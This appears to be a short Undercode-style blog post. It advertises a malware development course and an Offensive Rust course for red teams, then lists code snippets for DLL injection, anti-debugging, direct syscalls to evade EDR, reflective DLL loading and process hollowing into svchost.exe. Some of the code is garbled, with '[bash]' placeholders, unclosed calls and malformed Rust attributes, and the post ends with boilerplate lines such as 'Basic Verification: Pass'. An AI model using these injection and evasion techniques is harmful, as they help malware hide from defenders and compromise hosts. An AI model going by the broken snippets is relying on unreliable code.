The Maldev Academy Malware Development Course is an intensive program designed for professionals engaged in Red Team operations, focusing on custom malware development, evasion techniques, and offensive software engineering. The course covers modern methods for bypassing security solutions, low-level development, and behavioral evasion to simulate real-world adversaries effectively.
Another notable course mentioned is Offensive Rust (https://lnkd.in/eZrS2MCu), which explores reimplementing malware techniques in Rust for improved stealth and performance.
You Should Know: Essential Malware Development & Evasion Techniques
1. Process Injection Techniques
// Classic DLL Injection
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
LPVOID pDllPath = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, pDllPath, (LPVOID)dllPath, strlen(dllPath), NULL);
LPVOID pLoadLib = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pLoadLib, pDllPath, 0, NULL);
2. Anti-Debugging Tricks
// Check for debugger presence
if (IsDebuggerPresent()) {
ExitProcess(1);
}
// Timing-based detection
DWORD start = GetTickCount();
// Some complex operation
if (GetTickCount() - start > 1000) {
// Debugger detected
}
3. Evading EDR with Direct Syscalls
// Rust Syscall example (NtAllocateVirtualMemory)
[cfg(windows)]
extern "system" {
fn NtAllocateVirtualMemory(
ProcessHandle: HANDLE,
BaseAddress: mut PVOID,
ZeroBits: ULONG,
RegionSize: mut SIZE_T,
AllocationType: ULONG,
Protect: ULONG,
) -> NTSTATUS;
}
4. Reflective DLL Injection (Avoiding Disk)
PowerShell implementation
$bytes = [System.IO.File]::ReadAllBytes("malicious.dll");
$load = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
(LookupFunc "kernel32.dll" "LoadLibraryA"),
(Get-DelegateType @([bash]) ([bash]))
5. Process Hollowing (Legit Process Replacement)
// Replace legitimate process memory
CreateProcessA("C:\Windows\System32\svchost.exe", ..., CREATE_SUSPENDED, ...);
NtUnmapViewOfSection(hProcess, pImageBase);
ZwAllocateVirtualMemory(hProcess, &pImageBase, 0, &size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, pImageBase, pMaliciousPayload, payloadSize, NULL);
SetThreadContext(hThread, &context);
ResumeThread(hThread);
What Undercode Say
Malware development is evolving rapidly, with Rust and direct syscalls becoming mainstream for bypassing EDR solutions. Red Teams must master low-level Windows APIs and evasion tactics to stay ahead. Key takeaways:
– Use Syscalls to bypass user-mode hooks.
– Leverage Rust for safer and stealthier payloads.
– Process Hollowing & Reflective Loading avoid disk writes.
– Timing checks & debugger detection are critical for evasion.
Prediction
Malware development will increasingly shift towards memory-only attacks, cross-platform payloads (WASM, Rust), and AI-driven obfuscation to bypass next-gen security solutions.
Expected Output:
- Maldev Academy Course: Advanced malware development for Red Teams.
- Offensive Rust Course: https://lnkd.in/eZrS2MCu
- Key Techniques: Process Injection, EDR Evasion, Anti-Debugging.
References:
Reported By: Guillaume Daumas – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
